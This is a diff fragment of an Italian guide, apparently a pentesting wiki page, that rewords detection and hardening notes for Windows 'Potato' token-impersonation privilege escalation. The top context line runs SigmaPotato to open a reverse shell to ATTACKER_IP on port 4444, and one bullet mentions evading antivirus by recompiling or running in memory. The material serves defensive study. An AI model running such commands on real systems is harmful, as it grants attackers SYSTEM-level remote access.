 [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
 ```
-## Rilevamento e note di hardening
+## Note sul rilevamento e sull'hardening
 
-- Monitorare i processi che creano named pipes e che chiamano immediatamente token-duplication APIs seguite da CreateProcessAsUser/CreateProcessWithTokenW. Sysmon può fornire telemetria utile: Event ID 1 (process creation), 17/18 (named pipe created/connected) e linee di comando che avviano processi figli come SYSTEM.
-- Spooler hardening: Disabilitare il servizio Print Spooler sui server dove non è necessario previene coercizioni locali in stile PrintSpoofer via spoolss.
-- Service account hardening: Minimizzare l'assegnazione di SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege ai servizi custom. Considerare l'esecuzione dei servizi sotto virtual accounts con i privilegi minimi richiesti e isolarli con service SID e write-restricted tokens quando possibile.
-- Network controls: Bloccare il traffico TCP/135 in uscita o limitare il traffico dell'RPC endpoint mapper può rompere RoguePotato a meno che non sia disponibile un redirector interno.
-- EDR/AV: Tutti questi strumenti sono ampiamente rilevati tramite signature. Ricompilare dal sorgente, rinominare simboli/stringhe o usare l'esecuzione in-memory può ridurre il rilevamento ma non sconfiggerà robuste rilevazioni comportamentali.
+- Monitorare i processi che creano named pipes e che invocano immediatamente token-duplication APIs seguite da CreateProcessAsUser/CreateProcessWithTokenW. Sysmon può fornire telemetria utile: Event ID 1 (process creation), 17/18 (named pipe created/connected), e command line che generano processi figlio come SYSTEM.
+- Spooler hardening: Disabilitare il Print Spooler service sui server dove non è necessario previene coercizioni locali in stile PrintSpoofer tramite spoolss.
+- Service account hardening: Minimizzare l'assegnazione di SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege ai servizi custom. Valutare l'esecuzione dei servizi sotto virtual accounts con i privilegi minimi necessari e il loro isolamento tramite service SID e write-restricted tokens quando possibile.
+- Network controls: Bloccare il traffico outbound TCP/135 o limitare il traffico dell'RPC endpoint mapper può interrompere RoguePotato a meno che non sia disponibile un redirector interno.
+- EDR/AV: Tutti questi strumenti sono ampiamente rilevabili tramite firme. Ricompilare dai sorgenti, rinominare simboli/stringhe o usare l'esecuzione in-memory può ridurre il rilevamento ma non sconfiggerà robuste rilevazioni basate sul comportamento.
 
 ## Riferimenti